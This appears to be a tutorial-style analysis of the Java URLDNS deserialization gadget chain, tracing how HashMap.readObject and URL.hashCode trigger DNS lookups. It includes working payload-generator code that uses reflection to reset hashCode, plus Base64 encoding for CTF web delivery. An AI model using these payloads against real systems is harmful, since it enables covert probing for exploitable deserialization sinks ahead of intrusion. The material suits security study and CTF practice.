Java URLDNS Exploit Chain Analysis: How URL.hashCode and HashMap Deserialization Trigger DNS Requests

[AI Readability Summary] URLDNS is a classic Java deserialization probe chain. Its core behavior is to trigger DNS resolution when a target deserializes a crafted object, enabling blind reachability testing without direct output. This article breaks down the relationship between URL.hashCode(), HashMap.readObject(), and reflection-based cache resetting, then extracts a reproducible exploitation model. Keywords: Java deserialization, URLDNS, HashMap.

Technical Specifications Snapshot

Parameter Value
Language Java
Trigger Protocol DNS
Exploit Entry Point HashMap.readObject()
Key Classes java.net.URL, java.util.HashMap
Core Dependencies Native JDK libraries, ObjectInputStream, Reflection API
External Tools ysoserial-all.jar, DNSLog
Repository Popularity Star count not provided in the original source

The URLDNS exploit chain uses deserialization to trigger DNS requests

URLDNS is not a command execution chain. It is an out-of-band probing chain. Its value is straightforward: when a target system deserializes a malicious object, the URL object participates in hash computation and triggers domain resolution, allowing the attacker to confirm whether the deserialization sink is reachable.

This chain is commonly used for vulnerability validation, asset discovery, and CTF scenarios. Its advantages are minimal side effects and clear success criteria, but its limits are equally clear: by default, it can only trigger DNS or other network requests and cannot directly achieve remote code execution.

import java.net.URL;

public class UrlDnsDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://example.dnslog.cn");
        url.hashCode(); // Core trigger point: hash computation may enter DNS resolution
    }
}

This example shows that URL.hashCode() itself can become the entry point for a DNS request.

image-20260421132910974 AI Visual Insight: This image shows that ysoserial-all.jar has already been introduced into the local analysis environment, which indicates that the author combined an existing deserialization gadget tool during exploit-chain validation. The focus is on building a Java security research environment for debugging and payload generation.

URL.hashCode indirectly invokes host resolution logic

URL.hashCode() is not a simple string hash. It computes a combined result based on the protocol, host, port, path, fragment, and related fields. The host portion enters the handler.hashCode(URL) logic.

When the host field is processed, the JDK attempts to call getHostAddress(). If hostAddress has not yet been cached, execution continues into InetAddress.getByName(host), which is exactly where DNS resolution occurs.

image-20260421164140804 AI Visual Insight: This image pinpoints the implementation entry of URL.hashCode(), emphasizing that the method is not a pure in-memory operation. Instead, it descends into the protocol handler handler, which is the first critical piece of evidence that makes the URLDNS chain viable.

image-20260421164345283 AI Visual Insight: This image shows the internal handler member held by the URL object, clarifying that protocol-specific hashing and address handling are actually performed by URLStreamHandler, not entirely by the URL class itself.

image-20260421164425132 AI Visual Insight: This image goes deeper into the handler implementation and highlights the exploit-chain analysis method: start from a public API, then trace step by step into the underlying protocol-processing code until you identify the exact point where outbound DNS traffic occurs.

protected int hashCode(URL u) {
    int h = 0;
    String protocol = u.getProtocol();
    if (protocol != null) h += protocol.hashCode();

    InetAddress addr = getHostAddress(u); // Core logic: this may trigger DNS resolution
    if (addr != null) {
        h += addr.hashCode();
    }
    return h;
}

This core logic shows that URL hash computation and network resolution are not decoupled, which makes the behavior useful as a probing surface.

getHostAddress is the direct source of the DNS request

If u.hostAddress is null, the JDK retrieves the hostname through u.getHost() and passes it to InetAddress.getByName() for resolution. That means as long as the supplied hostname is controlled by the attacker, the target JVM will issue an outbound DNS query.

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals(""))
        return null;

    try {
        u.hostAddress = InetAddress.getByName(host); // Core logic: trigger domain resolution
    } catch (Exception e) {
        return null; // Return null on exception so the chain does not fail loudly
    }
    return u.hostAddress;
}

This explains why URLDNS works well for blind testing: even if the application returns no visible response, the DNS platform can still observe the request record.

HashMap.readObject calls key.hashCode during deserialization

What actually brings URL.hashCode() into the deserialization flow is HashMap. Because HashMap implements Serializable, its readObject() method restores entries one by one and then executes hash(key).

As long as key is a URL object, hash(key) eventually invokes key.hashCode(). In other words, the DNS request becomes embedded in the deserialization path.

image-20260422232138879 AI Visual Insight: This image shows the basic usage and key-value storage model of HashMap, establishing the context needed to explain how a URL used as a key enters the deserialization path.

image-20260422232418241 AI Visual Insight: This image highlights that HashMap implements the Serializable interface, which is the prerequisite for participating in Java’s native serialization and deserialization process.

image-20260422232832612 AI Visual Insight: This image marks the HashMap.writeObject location and shows that the class does not rely entirely on default serialization. Instead, it contains customized write logic.

image-20260423130201459 AI Visual Insight: This image shows the entry point or implementation details of HashMap.readObject, reinforcing that the exploit chain matters not at write time but when object restoration recomputes the hash and triggers URL logic.

for (int i = 0; i < mappings; i++) {
    K key = (K) s.readObject();      // Deserialize the key first
    V value = (V) s.readObject();    // Then deserialize the value
    putVal(hash(key), key, value, false, false); // This calls key.hashCode()
}

This snippet shows that the trigger point is not in application code, but in the JDK’s own container restoration process.

HashMap.hash routes URL objects to the exploitation point

The implementation of HashMap.hash(Object key) is very short, but it is exactly dangerous enough: as long as key != null, it directly calls key.hashCode().

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // Core logic: trigger URL.hashCode()
}

Therefore, the minimal URLDNS exploitation model is simple: construct a HashMap that uses a URL object as the key, then make the target deserialize it.

Direct payload construction is broken by URL’s hashCode caching mechanism

The challenge is that URL internally caches its hashCode. If an attacker directly runs hashMap.put(url, "steady"), the url.hashCode() value is already computed when the key is inserted into the HashMap, and the cached value is no longer -1.

When deserialization later reaches URL.hashCode() again, the JDK sees the cached value and does not execute DNS resolution logic a second time. As a result, the payload appears to deserialize successfully, but no DNS callback occurs.

image-20260423161842023 AI Visual Insight: This image shows an ObjectOutputStream-related implementation and explains that Java serialization gives priority to a class’s custom write logic, which helps explain why method invocation may already occur during the write phase.

image-20260423164933208 AI Visual Insight: This image highlights the conditional check around the cached value inside URL.hashCode, showing that whether execution continues into the underlying logic depends on the state of the hashCode field. That is the root cause of payload failure.

image-20260423170133495 AI Visual Insight: This image shows that HashMap.put also enters hash(key) internally, proving that the DNS trigger can be consumed prematurely during the local payload-construction phase.

Map<Object, String> map = new HashMap<>();
URL url = new URL("http://demo.dnslog.cn");
map.put(url, "steady"); // hashCode is already called here, so the cache is populated

This is also the most common reason beginners fail to reproduce URLDNS successfully.

Resetting URL.hashCode through reflection is required to build a stable payload

The standard solution is to use reflection to modify the private hashCode field in URL. The common approach is to place the URL into the HashMap first, then reset its hashCode back to -1, so the target recomputes the hash during deserialization and triggers the DNS lookup again.

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsPayload {
    public static void main(String[] args) throws Exception {
        HashMap<Object, String> map = new HashMap<>();
        URL url = new URL("http://payload.dnslog.cn");

        map.put(url, "steady"); // Insert into HashMap first to build a serializable structure

        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, -1); // Core logic: reset the cache so deserialization resolves the domain again

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(map); // Serialize the payload
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject(); // Trigger DNS during deserialization
        ois.close();
    }
}

This example demonstrates the minimal reproducible implementation of a URLDNS payload.

image-20260423170452613 AI Visual Insight: This image shows a debugging scenario with a breakpoint set at the hashCode == -1 check to verify whether the URL object re-enters the hash-computation branch.

image-20260423170801953 AI Visual Insight: This image shows a breakpoint during the put call, with the goal of checking whether hashCode was already triggered during payload construction. It is useful for locating the issue of local trigger consumption.

image-20260423170838238 AI Visual Insight: This image shows that the hashCode field inside the URL object has already been written to a concrete integer value, proving that once the cache is generated, later deserialization can no longer trigger DNS easily.

image-20260423170946822 AI Visual Insight: This image continues observing the call chain inside HashMap.put or a related path, showing that the problem is not in the deserialization entry point. Instead, the object state was already changed during the preparation phase.

image-20260423200654516 AI Visual Insight: This image shows that the cached hash value is still read during deserialization, further proving that DNS will not happen again unless the field is reset.

image-20260423212651257 AI Visual Insight: This image shows the corrected execution result and indicates that after writing hashCode = -1 back through reflection, the payload meets the condition for re-resolution.

image-20260423212631625 AI Visual Insight: This image most likely corresponds to the DNSLog platform or the verification endpoint, confirming that the target JVM actually issued an external DNS query during deserialization.

In CTF scenarios, the serialized output is usually encoded again before delivery

In challenge environments, the payload is often not written directly to a file. Instead, it is converted into a byte array, Base64-encoded, and then URL-encoded before being delivered through a parameter, cookie, or request body.

These transformations do not change the principle behind URLDNS. They only adapt the payload to a web input channel. The critical requirements remain the same: URL must be the key, HashMap must be deserializable, and hashCode must be reset correctly.

image-20260423213235985 AI Visual Insight: This image shows the CTF challenge interface or challenge context, indicating that URLDNS is often used in practice as a verification method for web deserialization entry points rather than as an isolated local experiment.

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class UrlDnsBase64 {
    public static void main(String[] args) throws Exception {
        HashMap<Object, String> map = new HashMap<>();
        URL url = new URL("http://target.challenge.ctf.show/");

        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 1); // Core logic: set a temporary value first to avoid a real DNS trigger during put
        map.put(url, "steady");
        f.set(url, -1); // Core logic: restore to -1 and wait for target-side deserialization to trigger

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);

        String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(payload); // Output serialized data ready for delivery
    }
}

This example generates a Base64-form URLDNS payload suitable for web challenge delivery.

image-20260423214228364 AI Visual Insight: This image shows the additional step of URL-encoding the Base64 payload, reflecting a common web-entry constraint where parameter formatting and special characters require further adaptation.

URLDNS is better suited as a probe chain than as a final attack chain

The role of URLDNS should be explicit: it is primarily used to prove that a target performs Java deserialization and can make outbound network requests. In real offensive and defensive workflows, researchers usually start with URLDNS for low-risk validation and then switch to a more powerful gadget chain for command execution or memory control.

From a learning perspective, URLDNS is one of the best starting points for understanding Java deserialization call paths. It covers several critical concepts at once, including object graph construction, JDK container restoration, implicit method invocation, and reflection-based field modification.

FAQ

1. Why can URLDNS trigger DNS, but usually not direct RCE?

Because it relies on the host-resolution behavior inside URL.hashCode(). In essence, it is a network probing chain and does not include command-execution classes or a dangerous method-invocation chain.

2. Why must the URL be the key in a HashMap instead of the value?

Because HashMap.readObject() executes hash(key) when restoring entries, which triggers key.hashCode(). If the URL is placed in the value position, it never reaches that trigger point.

3. Why does the payload deserialize successfully but produce no DNS record?

The most common reason is that map.put(url, value) already invoked URL.hashCode() during payload construction, which populated the cache. If you do not reset hashCode to -1 through reflection, deserialization will not trigger resolution again.

Core summary: This article reconstructs the Java URLDNS exploit chain by focusing on the interaction between URL.hashCode(), InetAddress.getByName(), and HashMap.readObject(). It explains why deserialization can trigger DNS requests and how resetting hashCode through reflection allows you to build a working payload.